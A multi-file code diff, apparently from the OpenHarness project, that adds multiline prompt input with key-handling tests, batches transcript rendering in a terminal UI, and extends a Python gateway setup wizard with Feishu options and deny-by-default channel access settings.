const instance = render(<PromptHarness onInputChange={(value) => {
currentValue = value;
}} />, {
stdin: stdin as unknown as NodeJS.ReadStream & {fd: 0},
stdout: stdout as unknown as NodeJS.WriteStream,
debug: true,
patchConsole: false,
});
const exitPromise = instance.waitUntilExit();
try {
await nextLoopTurn();
await sendKey(stdin, 'a');
await waitForValue(() => currentValue, 'a');
await sendKey(stdin, 'b');
await waitForValue(() => currentValue, 'ab');
await sendKey(stdin, Buffer.from([0x7f]));
await waitForValue(() => currentValue, 'a');
} finally {
instance.unmount();
await exitPromise;
instance.cleanup();
stdin.destroy();
stdout.destroy();
}
});
test('keeps forward delete behavior when cursor is inside the line', async () => {
const stdin = createTestStdin();
const stdout = createTestStdout();
let currentValue = '';
const instance = render(<PromptHarness onInputChange={(value) => {
currentValue = value;
}} />, {
stdin: stdin as unknown as NodeJS.ReadStream & {fd: 0},
stdout: stdout as unknown as NodeJS.WriteStream,
debug: true,
patchConsole: false,
});
const exitPromise = instance.waitUntilExit();
try {
await nextLoopTurn();
await sendKey(stdin, 'a');
await waitForValue(() => currentValue, 'a');
await sendKey(stdin, 'b');
await waitForValue(() => currentValue, 'ab');
await sendKey(stdin, '\u001B[D');
await nextLoopTurn();
await sendKey(stdin, '\u001B[3~');
await waitForValue(() => currentValue, 'a');
} finally {
instance.unmount();
await exitPromise;
instance.cleanup();
stdin.destroy();
stdout.destroy();
}
});
test('ignores ctrl+v so the app can attach clipboard images', async () => {
const stdin = createTestStdin();
const stdout = createTestStdout();
let currentValue = '';
const instance = render(<PromptHarness onInputChange={(value) => {
currentValue = value;
}} />, {
stdin: stdin as unknown as NodeJS.ReadStream & {fd: 0},
stdout: stdout as unknown as NodeJS.WriteStream,
debug: true,
patchConsole: false,
});
const exitPromise = instance.waitUntilExit();
try {
await nextLoopTurn();
await sendKey(stdin, Buffer.from([0x16]));
await nextLoopTurn();
assert.equal(currentValue, '');
await sendKey(stdin, 'v');
await waitForValue(() => currentValue, 'v');
} finally {
instance.unmount();
await exitPromise;
instance.cleanup();
stdin.destroy();
stdout.destroy();
}
});
test('accepts explicit /stop submission while busy', async () => {
const stdin = createTestStdin();
const stdout = createTestStdout();
let currentValue = '';
let submitted = '';
const instance = render(<PromptHarness busy onInputChange={(value) => {
currentValue = value;
}} onSubmit={(value) => {
submitted = value;
}} />, {
stdin: stdin as unknown as NodeJS.ReadStream & {fd: 0},
stdout: stdout as unknown as NodeJS.WriteStream,
debug: true,
patchConsole: false,
});
const exitPromise = instance.waitUntilExit();
try {
await nextLoopTurn();
for (const char of '/stop') {
await sendKey(stdin, char);
}
await waitForValue(() => currentValue, '/stop');
await sendKey(stdin, '\r');
await waitForValue(() => submitted, '/stop');
} finally {
instance.unmount();
await exitPromise;
instance.cleanup();
stdin.destroy();
stdout.destroy();
}
});
+217 -14
View File
@@ -1,13 +1,200 @@
import React from 'react';
import {Box, Text} from 'ink';
import TextInput from 'ink-text-input';
import React, {useEffect, useRef, useState} from 'react';
import {Box, Text, useInput, useStdin} from 'ink';
import chalk from 'chalk';
import {useTheme} from '../theme/ThemeContext.js';
import {Spinner} from './Spinner.js';
const RUNNING_HINT_FRAMES = ['⠋', '⠙', '⠹', '⠸', '⠼', '⠴', '⠦', '⠧', '⠇', '⠏'];
const noop = (): void => {};
const BACKSPACE_CONTROL_PATTERN = /^[\b\u007f]+$/;
export function getBackspaceDeleteCount(sequence: string): number {
if (!sequence || !BACKSPACE_CONTROL_PATTERN.test(sequence)) {
return 1;
}
return [...sequence].length;
}
function MultilineTextInput({
value,
onChange,
onSubmit,
focus = true,
promptPrefix,
promptColor,
}: {
value: string;
onChange: (value: string) => void;
onSubmit?: (value: string) => void;
focus?: boolean;
promptPrefix: string;
promptColor: string;
}): React.JSX.Element {
const [cursorOffset, setCursorOffset] = useState(value.length);
const {internal_eventEmitter} = useStdin();
const lastSequenceRef = useRef('');
// Tracks the last value this component produced via onChange. If the
// incoming `value` prop diverges from this, the change came from outside
// (tab completion, history recall, programmatic clear) and we should
// move the cursor to the end — otherwise the cursor stays wherever the
// user had it, which puts subsequent keystrokes in the middle of the
// newly-completed text. See HKUDS/OpenHarness#183.
const lastInternalValueRef = useRef<string>(value);
useEffect(() => {
if (value === lastInternalValueRef.current) {
// Self-authored update; cursor was already positioned by the
// handler that called onChange.
return;
}
lastInternalValueRef.current = value;
setCursorOffset(value.length);
}, [value]);
const commitValue = (nextValue: string): void => {
lastInternalValueRef.current = nextValue;
onChange(nextValue);
};
useEffect(() => {
if (!focus) {
return;
}
const handleRawInput = (chunk: string | Buffer): void => {
lastSequenceRef.current = Buffer.isBuffer(chunk) ? chunk.toString('utf8') : String(chunk);
};
internal_eventEmitter.on('input', handleRawInput);
return () => {
internal_eventEmitter.removeListener('input', handleRawInput);
};
}, [focus, internal_eventEmitter]);
useInput(
(input, key) => {
if (!focus) {
return;
}
if (
key.upArrow ||
key.downArrow ||
key.tab ||
(key.shift && key.tab) ||
key.escape ||
(key.ctrl && (input === 'c' || input === 'v'))
) {
return;
}
if (key.return) {
if (key.shift) {
const nextValue = value.slice(0, cursorOffset) + '\n' + value.slice(cursorOffset);
setCursorOffset(cursorOffset + 1);
commitValue(nextValue);
return;
}
onSubmit?.(value);
return;
}
if (key.leftArrow) {
setCursorOffset((previous) => Math.max(0, previous - 1));
return;
}
if (key.rightArrow) {
setCursorOffset((previous) => Math.min(value.length, previous + 1));
return;
}
if (key.backspace) {
if (cursorOffset === 0) {
return;
}
const deleteCount = Math.min(cursorOffset, getBackspaceDeleteCount(lastSequenceRef.current || input));
const nextValue = value.slice(0, cursorOffset - deleteCount) + value.slice(cursorOffset);
setCursorOffset(cursorOffset - deleteCount);
commitValue(nextValue);
return;
}
if (key.delete) {
// Ink reports the common DEL byte (`0x7f`) as `delete`, even though
// many terminals emit it for the Backspace key. Use the raw sequence
// to distinguish that case from a true forward-delete escape sequence.
if (
lastSequenceRef.current === '\x7f' ||
lastSequenceRef.current === '\x1b\x7f' ||
BACKSPACE_CONTROL_PATTERN.test(lastSequenceRef.current)
) {
if (cursorOffset === 0) {
return;
}
const deleteCount = Math.min(cursorOffset, getBackspaceDeleteCount(lastSequenceRef.current));
const nextValue = value.slice(0, cursorOffset - deleteCount) + value.slice(cursorOffset);
setCursorOffset(cursorOffset - deleteCount);
commitValue(nextValue);
return;
}
if (cursorOffset >= value.length) {
return;
}
const nextValue = value.slice(0, cursorOffset) + value.slice(cursorOffset + 1);
commitValue(nextValue);
return;
}
if (!input) {
return;
}
const nextValue = value.slice(0, cursorOffset) + input + value.slice(cursorOffset);
setCursorOffset(cursorOffset + input.length);
commitValue(nextValue);
},
{isActive: focus},
);
let renderedValue = value;
if (focus) {
if (value.length === 0) {
renderedValue = chalk.inverse(' ');
} else {
renderedValue = '';
let index = 0;
for (const char of value) {
if (index === cursorOffset) {
renderedValue += chalk.inverse(char === '\n' ? ' ' : char);
} else {
renderedValue += char;
}
index += 1;
}
if (cursorOffset === value.length) {
renderedValue += chalk.inverse(' ');
}
}
}
const lines = renderedValue.split('\n');
const indent = ' '.repeat(promptPrefix.length);
return (
<Box flexDirection="column">
{lines.map((line, index) => (
<Box key={`${index}:${line}`}>
<Text color={promptColor} bold>
{index === 0 ? promptPrefix : indent}
</Text>
<Text>{line.length > 0 ? line : ' '}</Text>
</Box>
))}
</Box>
);
}
export function PromptInput({
busy,
@@ -17,6 +204,8 @@ export function PromptInput({
toolName,
suppressSubmit,
statusLabel,
imageAttachmentLabels = [],
clipboardStatus,
}: {
busy: boolean;
input: string;
@@ -25,8 +214,11 @@ export function PromptInput({
toolName?: string;
suppressSubmit?: boolean;
statusLabel?: string;
imageAttachmentLabels?: string[];
clipboardStatus?: string | null;
}): React.JSX.Element {
const {theme} = useTheme();
const promptPrefix = busy ? '… ' : '> ';
return (
<Box flexDirection="column">
@@ -35,17 +227,28 @@ export function PromptInput({
<Box>
<Spinner label={statusLabel ?? (toolName ? `Running ${toolName}...` : 'Running...')} />
</Box>
<Box>
<Text color={theme.colors.warning} bold>
{RUNNING_HINT_FRAMES.join(' ')} Agent is working
</Text>
</Box>
</Box>
) : null}
<Box>
<Text color={theme.colors.primary} bold>{busy ? '… ' : '> '}</Text>
<TextInput value={input} onChange={setInput} onSubmit={suppressSubmit || busy ? noop : onSubmit} />
</Box>
{imageAttachmentLabels.length > 0 ? (
<Box>
<Text color={theme.colors.accent}>
{imageAttachmentLabels.map((label, index) => `[image ${index + 1}: ${label}]`).join(' ')}
</Text>
</Box>
) : null}
{clipboardStatus ? (
<Box>
<Text color={theme.colors.muted}>{clipboardStatus}</Text>
</Box>
) : null}
<MultilineTextInput
value={input}
onChange={setInput}
onSubmit={suppressSubmit ? noop : onSubmit}
focus
promptPrefix={promptPrefix}
promptColor={theme.colors.primary}
/>
</Box>
);
}
+4 -2
View File
@@ -14,16 +14,18 @@ const VERBS = [
'Considering',
];
const WINDOWS_SAFE_FRAMES = ['-', '\\', '|', '/'];
export function Spinner({label}: {label?: string}): React.JSX.Element {
const {theme} = useTheme();
const frames = theme.icons.spinner;
const frames = process.platform === 'win32' ? WINDOWS_SAFE_FRAMES : theme.icons.spinner;
const [frame, setFrame] = useState(0);
const [verbIndex, setVerbIndex] = useState(0);
useEffect(() => {
const timer = setInterval(() => {
setFrame((f) => (f + 1) % frames.length);
}, 80);
}, 100);
return () => clearInterval(timer);
}, [frames.length]);
@@ -54,7 +54,7 @@ function PlanModeIndicator({
);
}
export function StatusBar({
function StatusBarInner({
status,
tasks,
activeToolName,
@@ -109,6 +109,8 @@ export function StatusBar({
);
}
export const StatusBar = React.memo(StatusBarInner);
function formatNum(n: number): string {
if (n >= 1000) {
return `${(n / 1000).toFixed(1)}k`;
@@ -36,7 +36,7 @@ function formatDuration(seconds: number): string {
return `${m}m${s}s`;
}
export function SwarmPanel({
function SwarmPanelInner({
teammates,
notifications,
collapsed: initialCollapsed = false,
@@ -123,3 +123,5 @@ export function SwarmPanel({
</Box>
);
}
export const SwarmPanel = React.memo(SwarmPanelInner);
@@ -18,7 +18,7 @@ function parseTodoItems(markdown: string): TodoItem[] {
return items;
}
export function TodoPanel({
function TodoPanelInner({
markdown,
compact: initialCompact = false,
}: {
@@ -86,4 +86,6 @@ export function TodoPanel({
);
}
export const TodoPanel = React.memo(TodoPanelInner);
export {parseTodoItems};
@@ -4,34 +4,107 @@ import {Box, Text} from 'ink';
import {useTheme} from '../theme/ThemeContext.js';
import type {TranscriptItem} from '../types.js';
export function ToolCallDisplay({item}: {item: TranscriptItem}): React.JSX.Element {
export function ToolCallDisplay({
item,
resultItem,
outputStyle,
}: {
item: TranscriptItem;
resultItem?: TranscriptItem;
outputStyle?: string;
}): React.JSX.Element {
const {theme} = useTheme();
const isCodexStyle = outputStyle === 'codex';
if (item.role === 'tool') {
const toolName = item.tool_name ?? 'tool';
const summary = summarizeInput(toolName, item.tool_input, item.text);
const summary = summarizeInput(toolName, item.tool_input, item.text).replace(/\s+/g, ' ').trim();
let statusNode: React.ReactNode = null;
let errorLines: string[] | null = null;
if (resultItem) {
if (resultItem.is_error) {
statusNode = isCodexStyle
? <Text color={theme.colors.error}> error</Text>
: <Text color={theme.colors.error}> {theme.icons.error.trim()}</Text>;
const lines = resultItem.text.split('\n').filter((l) => l.trim());
const maxErrLines = isCodexStyle ? 8 : 5;
errorLines = lines.length > maxErrLines
? [...lines.slice(0, maxErrLines), `... (${lines.length - maxErrLines} more lines)`]
: lines;
} else if (!isCodexStyle) {
const lineCount = resultItem.text.split('\n').filter((l) => l.trim()).length;
const resultLabel = lineCount > 0 ? `${lineCount}L` : theme.icons.success.trim();
statusNode = <Text dimColor> {resultLabel}</Text>;
} else {
const lineCount = resultItem.text.split('\n').filter((l) => l.trim()).length;
statusNode = <Text dimColor>{lineCount > 0 ? ` ${lineCount}L` : ''}</Text>;
}
}
if (isCodexStyle) {
return (
<Box marginLeft={0} flexDirection="column">
<Text dimColor>{`• Ran ${toolName}${summary ? ` ${summary}` : ''}`}{statusNode}</Text>
{errorLines?.map((line, i) => {
const prefix = i === errorLines.length - 1 ? '└ ' : '│ ';
return (
<Text key={i} color={theme.colors.error}>
{prefix}
{line}
</Text>
);
})}
</Box>
);
}
return (
<Box marginLeft={2} flexDirection="column">
<Text>
<Text color={theme.colors.accent} bold>{theme.icons.tool}</Text>
<Text color={theme.colors.accent} bold>{toolName}</Text>
<Text dimColor> {summary}</Text>
{statusNode}
</Text>
{errorLines?.map((line, i) => (
<Box key={i} marginLeft={4}>
<Text color={theme.colors.error}>{line}</Text>
</Box>
))}
</Box>
);
}
if (item.role === 'tool_result') {
const lines = item.text.split('\n');
const maxLines = 12;
if (!item.is_error) {
return <></>;
}
const lines = item.text.length > 0
? item.text.split('\n').filter((l) => l.trim())
: [''];
const maxLines = isCodexStyle ? 8 : 5;
const display = lines.length > maxLines ? [...lines.slice(0, maxLines), `... (${lines.length - maxLines} more lines)`] : lines;
const color = item.is_error ? theme.colors.error : undefined;
if (isCodexStyle) {
return (
<Box marginLeft={0} flexDirection="column">
{display.map((line, i) => {
const prefix = i === display.length - 1 ? '└ ' : '│ ';
return (
<Text key={i} color={theme.colors.error}>
{prefix}
{line}
</Text>
);
})}
</Box>
);
}
return (
<Box marginLeft={4} flexDirection="column">
{display.map((line, i) => (
<Text key={i} color={color} dimColor={!item.is_error}>
{line}
</Text>
<Text key={i} color={theme.colors.error}>{line}</Text>
))}
</Box>
);
@@ -66,7 +139,6 @@ function summarizeInput(toolName: string, toolInput?: Record<string, unknown>, f
if (lower === 'agent' && toolInput.description) {
return String(toolInput.description);
}
// Fallback: show first key=value
const entries = Object.entries(toolInput);
if (entries.length > 0) {
const [key, val] = entries[0];
+123 -29
View File
@@ -1,4 +1,4 @@
import {useEffect, useMemo, useRef, useState} from 'react';
import {startTransition, useEffect, useMemo, useRef, useState} from 'react';
import {spawn, type ChildProcessWithoutNullStreams} from 'node:child_process';
import readline from 'node:readline';
@@ -15,8 +15,9 @@ import type {
} from '../types.js';
const PROTOCOL_PREFIX = 'OHJSON:';
const ASSISTANT_DELTA_FLUSH_MS = 33;
const ASSISTANT_DELTA_FLUSH_CHARS = 256;
const ASSISTANT_DELTA_FLUSH_MS = 50;
const ASSISTANT_DELTA_FLUSH_CHARS = 384;
const TRANSCRIPT_EVENT_FLUSH_MS = 50;
const stableStringify = (value: unknown): string => JSON.stringify(value);
@@ -36,6 +37,7 @@ export function useBackendSession(config: FrontendConfig, onExit: (code?: number
const [todoMarkdown, setTodoMarkdown] = useState('');
const [swarmTeammates, setSwarmTeammates] = useState<SwarmTeammateSnapshot[]>([]);
const [swarmNotifications, setSwarmNotifications] = useState<SwarmNotificationSnapshot[]>([]);
const statusRef = useRef<Record<string, unknown>>({});
const childRef = useRef<ChildProcessWithoutNullStreams | null>(null);
const sentInitialPrompt = useRef(false);
const lastStatusSnapshotRef = useRef('');
@@ -48,6 +50,8 @@ export function useBackendSession(config: FrontendConfig, onExit: (code?: number
const assistantBufferRef = useRef('');
const pendingAssistantDeltaRef = useRef('');
const assistantFlushTimerRef = useRef<NodeJS.Timeout | null>(null);
const pendingTranscriptItemsRef = useRef<TranscriptItem[]>([]);
const transcriptFlushTimerRef = useRef<NodeJS.Timeout | null>(null);
const flushAssistantDelta = (): void => {
const pending = pendingAssistantDeltaRef.current;
@@ -56,7 +60,30 @@ export function useBackendSession(config: FrontendConfig, onExit: (code?: number
}
pendingAssistantDeltaRef.current = '';
assistantBufferRef.current += pending;
setAssistantBuffer(assistantBufferRef.current);
startTransition(() => {
setAssistantBuffer(assistantBufferRef.current);
});
};
const flushTranscriptItems = (): void => {
const pending = pendingTranscriptItemsRef.current;
if (pending.length === 0) {
return;
}
pendingTranscriptItemsRef.current = [];
startTransition(() => {
setTranscript((items) => [...items, ...pending]);
});
};
const queueTranscriptItem = (item: TranscriptItem): void => {
pendingTranscriptItemsRef.current.push(item);
if (!transcriptFlushTimerRef.current) {
transcriptFlushTimerRef.current = setTimeout(() => {
transcriptFlushTimerRef.current = null;
flushTranscriptItems();
}, TRANSCRIPT_EVENT_FLUSH_MS);
}
};
const clearAssistantDelta = (): void => {
@@ -69,6 +96,14 @@ export function useBackendSession(config: FrontendConfig, onExit: (code?: number
setAssistantBuffer('');
};
const clearPendingTranscriptItems = (): void => {
pendingTranscriptItemsRef.current = [];
if (transcriptFlushTimerRef.current) {
clearTimeout(transcriptFlushTimerRef.current);
transcriptFlushTimerRef.current = null;
}
};
const sendRequest = (payload: Record<string, unknown>): void => {
const child = childRef.current;
if (!child || child.stdin.destroyed) {
@@ -93,7 +128,7 @@ export function useBackendSession(config: FrontendConfig, onExit: (code?: number
const reader = readline.createInterface({input: child.stdout});
reader.on('line', (line) => {
if (!line.startsWith(PROTOCOL_PREFIX)) {
setTranscript((items) => [...items, {role: 'log', text: line}]);
queueTranscriptItem({role: 'log', text: line});
return;
}
const event = JSON.parse(line.slice(PROTOCOL_PREFIX.length)) as BackendEvent;
@@ -101,7 +136,8 @@ export function useBackendSession(config: FrontendConfig, onExit: (code?: number
});
child.on('exit', (code) => {
setTranscript((items) => [...items, {role: 'system', text: `backend exited with code ${code ?? 0}`}]);
flushTranscriptItems();
queueTranscriptItem({role: 'system', text: `backend exited with code ${code ?? 0}`});
process.exitCode = code ?? 0;
onExit(code);
});
@@ -125,6 +161,7 @@ export function useBackendSession(config: FrontendConfig, onExit: (code?: number
clearTimeout(assistantFlushTimerRef.current);
assistantFlushTimerRef.current = null;
}
clearPendingTranscriptItems();
};
process.on('exit', killChild);
process.on('SIGINT', killChild);
@@ -144,17 +181,27 @@ export function useBackendSession(config: FrontendConfig, onExit: (code?: number
setReady(true);
const statusSnapshot = stableStringify(event.state ?? {});
lastStatusSnapshotRef.current = statusSnapshot;
setStatus(event.state ?? {});
const nextStatus = event.state ?? {};
statusRef.current = nextStatus;
startTransition(() => {
setStatus(nextStatus);
});
const tasksSnapshot = stableStringify(event.tasks ?? []);
lastTasksSnapshotRef.current = tasksSnapshot;
setTasks(event.tasks ?? []);
startTransition(() => {
setTasks(event.tasks ?? []);
});
setCommands(event.commands ?? []);
const mcpSnapshot = stableStringify(event.mcp_servers ?? []);
lastMcpSnapshotRef.current = mcpSnapshot;
setMcpServers(event.mcp_servers ?? []);
startTransition(() => {
setMcpServers(event.mcp_servers ?? []);
});
const bridgeSnapshot = stableStringify(event.bridge_sessions ?? []);
lastBridgeSnapshotRef.current = bridgeSnapshot;
setBridgeSessions(event.bridge_sessions ?? []);
startTransition(() => {
setBridgeSessions(event.bridge_sessions ?? []);
});
if (config.initial_prompt && !sentInitialPrompt.current) {
sentInitialPrompt.current = true;
sendRequest({type: 'submit_line', line: config.initial_prompt});
@@ -166,17 +213,25 @@ export function useBackendSession(config: FrontendConfig, onExit: (code?: number
const statusSnapshot = stableStringify(event.state ?? {});
if (statusSnapshot !== lastStatusSnapshotRef.current) {
lastStatusSnapshotRef.current = statusSnapshot;
setStatus(event.state ?? {});
const nextStatus = event.state ?? {};
statusRef.current = nextStatus;
startTransition(() => {
setStatus(nextStatus);
});
}
const mcpSnapshot = stableStringify(event.mcp_servers ?? []);
if (mcpSnapshot !== lastMcpSnapshotRef.current) {
lastMcpSnapshotRef.current = mcpSnapshot;
setMcpServers(event.mcp_servers ?? []);
startTransition(() => {
setMcpServers(event.mcp_servers ?? []);
});
}
const bridgeSnapshot = stableStringify(event.bridge_sessions ?? []);
if (bridgeSnapshot !== lastBridgeSnapshotRef.current) {
lastBridgeSnapshotRef.current = bridgeSnapshot;
setBridgeSessions(event.bridge_sessions ?? []);
startTransition(() => {
setBridgeSessions(event.bridge_sessions ?? []);
});
}
return;
}
@@ -184,12 +239,14 @@ export function useBackendSession(config: FrontendConfig, onExit: (code?: number
const tasksSnapshot = stableStringify(event.tasks ?? []);
if (tasksSnapshot !== lastTasksSnapshotRef.current) {
lastTasksSnapshotRef.current = tasksSnapshot;
setTasks(event.tasks ?? []);
startTransition(() => {
setTasks(event.tasks ?? []);
});
}
return;
}
if (event.type === 'transcript_item' && event.item) {
setTranscript((items) => [...items, event.item as TranscriptItem]);
queueTranscriptItem(event.item as TranscriptItem);
return;
}
if (event.type === 'status') {
@@ -197,7 +254,7 @@ export function useBackendSession(config: FrontendConfig, onExit: (code?: number
if (!message) {
return;
}
setTranscript((items) => [...items, {role: 'status', text: message}]);
queueTranscriptItem({role: 'status', text: message});
if (busy) {
setBusyLabel(message);
}
@@ -233,7 +290,7 @@ export function useBackendSession(config: FrontendConfig, onExit: (code?: number
setBusyLabel('Compaction failed. Continuing without it…');
}
if (event.message) {
setTranscript((items) => [...items, {role: 'status', text: event.message!}]);
queueTranscriptItem({role: 'status', text: event.message!});
}
return;
}
@@ -242,6 +299,13 @@ export function useBackendSession(config: FrontendConfig, onExit: (code?: number
if (!delta) {
return;
}
const isCodexStyle = String(statusRef.current.output_style ?? 'default') === 'codex';
if (isCodexStyle) {
// Keep collecting text for assistant_complete fallback, but avoid
// token-level rerenders in compact codex mode.
assistantBufferRef.current += delta;
return;
}
pendingAssistantDeltaRef.current += delta;
if (pendingAssistantDeltaRef.current.length >= ASSISTANT_DELTA_FLUSH_CHARS) {
flushAssistantDelta();
@@ -260,17 +324,28 @@ export function useBackendSession(config: FrontendConfig, onExit: (code?: number
clearTimeout(assistantFlushTimerRef.current);
assistantFlushTimerRef.current = null;
}
flushAssistantDelta();
flushTranscriptItems();
const isCodexStyle = String(statusRef.current.output_style ?? 'default') === 'codex';
if (isCodexStyle) {
if (pendingAssistantDeltaRef.current) {
assistantBufferRef.current += pendingAssistantDeltaRef.current;
pendingAssistantDeltaRef.current = '';
}
} else {
flushAssistantDelta();
}
const text = event.message ?? assistantBufferRef.current;
setTranscript((items) => [...items, {role: 'assistant', text}]);
startTransition(() => {
setTranscript((items) => [...items, {role: 'assistant', text}]);
});
clearAssistantDelta();
setBusy(false);
// Do NOT reset busy here: tool calls may follow this event.
// busy is reset by line_complete (the true end-of-turn signal).
setBusyLabel(undefined);
return;
}
if (event.type === 'line_complete') {
// If the line ended without an assistant_complete (e.g. errors), make sure we
// don't leave stale streaming text on screen.
// Final end-of-turn: clear everything, stop spinner.
clearAssistantDelta();
setBusy(false);
setBusyLabel(undefined);
@@ -278,7 +353,10 @@ export function useBackendSession(config: FrontendConfig, onExit: (code?: number
}
if ((event.type === 'tool_started' || event.type === 'tool_completed') && event.item) {
if (event.type === 'tool_started') {
setBusyLabel(event.tool_name ? `Running ${event.tool_name}...` : 'Running...');
setBusy(true);
setBusyLabel(`Running ${event.tool_name ?? 'tool'}...`);
} else {
setBusyLabel('Processing...');
}
const enrichedItem: TranscriptItem = {
...event.item,
@@ -286,10 +364,12 @@ export function useBackendSession(config: FrontendConfig, onExit: (code?: number
tool_input: event.item.tool_input ?? undefined,
is_error: event.item.is_error ?? event.is_error ?? undefined,
};
setTranscript((items) => [...items, enrichedItem]);
queueTranscriptItem(enrichedItem);
return;
}
if (event.type === 'clear_transcript') {
flushTranscriptItems();
clearPendingTranscriptItems();
setTranscript([]);
clearAssistantDelta();
setBusyLabel(undefined);
@@ -309,7 +389,8 @@ export function useBackendSession(config: FrontendConfig, onExit: (code?: number
return;
}
if (event.type === 'error') {
setTranscript((items) => [...items, {role: 'system', text: `error: ${event.message ?? 'unknown error'}`}]);
flushTranscriptItems();
queueTranscriptItem({role: 'system', text: `error: ${event.message ?? 'unknown error'}`});
clearAssistantDelta();
setBusy(false);
setBusyLabel(undefined);
@@ -317,22 +398,34 @@ export function useBackendSession(config: FrontendConfig, onExit: (code?: number
}
if (event.type === 'todo_update') {
if (event.todo_markdown != null) {
setTodoMarkdown(event.todo_markdown);
startTransition(() => {
setTodoMarkdown(event.todo_markdown);
});
}
return;
}
if (event.type === 'swarm_status') {
if (event.swarm_teammates != null) {
setSwarmTeammates(event.swarm_teammates);
startTransition(() => {
setSwarmTeammates(event.swarm_teammates);
});
}
if (event.swarm_notifications != null) {
setSwarmNotifications((prev) => [...prev, ...event.swarm_notifications!].slice(-20));
startTransition(() => {
setSwarmNotifications((prev) => [...prev, ...event.swarm_notifications!].slice(-20));
});
}
return;
}
if (event.type === 'plan_mode_change') {
if (event.plan_mode != null) {
setStatus((s) => ({...s, permission_mode: event.plan_mode}));
startTransition(() => {
setStatus((s) => {
const next = {...s, permission_mode: event.plan_mode};
statusRef.current = next;
return next;
});
});
}
return;
}
@@ -361,6 +454,7 @@ export function useBackendSession(config: FrontendConfig, onExit: (code?: number
setModal,
setSelectRequest,
setBusy,
setBusyLabel,
sendRequest,
}),
[assistantBuffer, bridgeSessions, busy, busyLabel, commands, mcpServers, modal, ready, selectRequest, status, swarmNotifications, swarmTeammates, tasks, todoMarkdown, transcript]
+8 -6
View File
@@ -39,17 +39,19 @@ process.on('uncaughtException', (err: NodeJS.ErrnoException) => {
const config = JSON.parse(process.env.OPENHARNESS_FRONTEND_CONFIG ?? '{}') as FrontendConfig;
// Restore terminal cursor visibility on exit (Ink hides it by default)
const restoreCursor = (): void => {
process.stdout.write('\x1B[?25h');
// Restore terminal cursor visibility on exit (Ink hides it by default).
// Also write a newline so the shell prompt starts on a fresh line and does
// not run into the last line of the TUI output.
const restoreTerminal = (): void => {
process.stdout.write('\x1B[?25h\n');
};
process.on('exit', restoreCursor);
process.on('exit', restoreTerminal);
process.on('SIGINT', () => {
restoreCursor();
restoreTerminal();
process.exit(130);
});
process.on('SIGTERM', () => {
restoreCursor();
restoreTerminal();
process.exit(143);
});
+6
View File
@@ -11,6 +11,12 @@ export type TranscriptItem = {
is_error?: boolean;
};
export type ImageAttachmentPayload = {
media_type: string;
data: string;
source_path?: string;
};
export type TaskSnapshot = {
id: string;
type: string;
+1 -1
View File
@@ -2,4 +2,4 @@
__all__ = ["__version__"]
__version__ = "0.1.6"
__version__ = "0.1.9"
+97 -5
View File
@@ -25,6 +25,7 @@ from ohmo.runtime import launch_ohmo_react_tui, run_ohmo_backend, run_ohmo_print
from ohmo.session_storage import OhmoSessionBackend
from ohmo.workspace import (
get_gateway_config_path,
get_logs_dir,
get_workspace_root,
get_soul_path,
get_state_path,
@@ -208,10 +209,10 @@ def _prompt_channels(existing: GatewayConfig) -> tuple[list[str], dict[str, dict
else:
enabled.append(channel)
allow_from_raw = _text_prompt(
f"{channel} allow_from (comma separated, '*' for everyone)",
default=",".join(prior.get("allow_from", ["*"])) or "*",
f"{channel} allow_from (comma separated user/chat IDs; leave blank to deny all; '*' for everyone)",
default=",".join(prior.get("allow_from", [])),
)
allow_from = [item.strip() for item in allow_from_raw.split(",") if item.strip()] or ["*"]
allow_from = [item.strip() for item in allow_from_raw.split(",") if item.strip()]
config: dict[str, object] = {"allow_from": allow_from}
if channel == "telegram":
config["token"] = _text_prompt(
@@ -269,6 +270,14 @@ def _prompt_channels(existing: GatewayConfig) -> tuple[list[str], dict[str, dict
default_value=str(prior.get("group_policy", "mention")),
)
elif channel == "feishu":
config["domain"] = _select_from_menu(
"Feishu domain:",
[
("https://open.feishu.cn", "Feishu (China)"),
("https://open.larksuite.com", "Lark (International)"),
],
default_value=str(prior.get("domain", "https://open.feishu.cn")),
)
config["app_id"] = _text_prompt(
"Feishu app id",
default=str(prior.get("app_id", "")),
@@ -289,6 +298,29 @@ def _prompt_channels(existing: GatewayConfig) -> tuple[list[str], dict[str, dict
"Feishu reaction emoji",
default=str(prior.get("react_emoji", "OK")),
)
config["group_policy"] = _select_from_menu(
"Feishu group policy:",
[
("managed_or_mention", "Managed groups open; other groups require @mention"),
("mention", "Always require @mention in groups"),
("open", "Always reply to group messages"),
],
default_value=str(prior.get("group_policy", "managed_or_mention")),
)
prior_bot_names = prior.get("bot_names", ["ohmo", "openclaw", "openharness"])
if isinstance(prior_bot_names, str):
prior_bot_names_default = prior_bot_names
else:
prior_bot_names_default = ",".join(str(item) for item in prior_bot_names)
bot_names_raw = _text_prompt(
"Feishu bot mention names (comma separated)",
default=prior_bot_names_default,
)
config["bot_names"] = [item.strip() for item in bot_names_raw.split(",") if item.strip()]
config["bot_open_id"] = _text_prompt(
"Feishu bot open_id for exact mention detection (optional)",
default=str(prior.get("bot_open_id", "")),
)
configs[channel] = config
return enabled, configs
@@ -306,6 +338,22 @@ def _run_gateway_config_wizard(workspace: str | Path) -> GatewayConfig:
"Send tool hints to channels?",
default=existing.send_tool_hints,
)
allow_remote_admin_commands = _confirm_prompt(
"Allow explicitly listed administrative slash commands from remote channels?",
default=existing.allow_remote_admin_commands,
)
default_allowlist = ", ".join(existing.allowed_remote_admin_commands)
allowed_remote_admin_commands: list[str] = []
if allow_remote_admin_commands:
allowlist_raw = _text_prompt(
"Allowed remote admin commands (comma-separated, e.g. permissions, plan)",
default=default_allowlist,
)
allowed_remote_admin_commands = [
item.strip().lstrip("/")
for item in allowlist_raw.split(",")
if item.strip()
]
config = existing.model_copy(
update={
"provider_profile": provider_profile,
@@ -313,6 +361,8 @@ def _run_gateway_config_wizard(workspace: str | Path) -> GatewayConfig:
"channel_configs": channel_configs,
"send_progress": send_progress,
"send_tool_hints": send_tool_hints,
"allow_remote_admin_commands": allow_remote_admin_commands,
"allowed_remote_admin_commands": allowed_remote_admin_commands,
}
)
save_gateway_config(config, workspace)
@@ -326,8 +376,24 @@ def _print_gateway_config_summary(config: GatewayConfig) -> None:
+ ", ".join(config.enabled_channels)
+ f" | provider_profile={config.provider_profile}"
)
deny_all_channels = [
name for name in config.enabled_channels
if not list(config.channel_configs.get(name, {}).get("allow_from", []))
]
if deny_all_channels:
print(
"Remote access denied until allow_from is configured for: "
+ ", ".join(deny_all_channels)
)
else:
print(f"Configured provider_profile={config.provider_profile}; no channels enabled yet.")
if config.allow_remote_admin_commands and config.allowed_remote_admin_commands:
print(
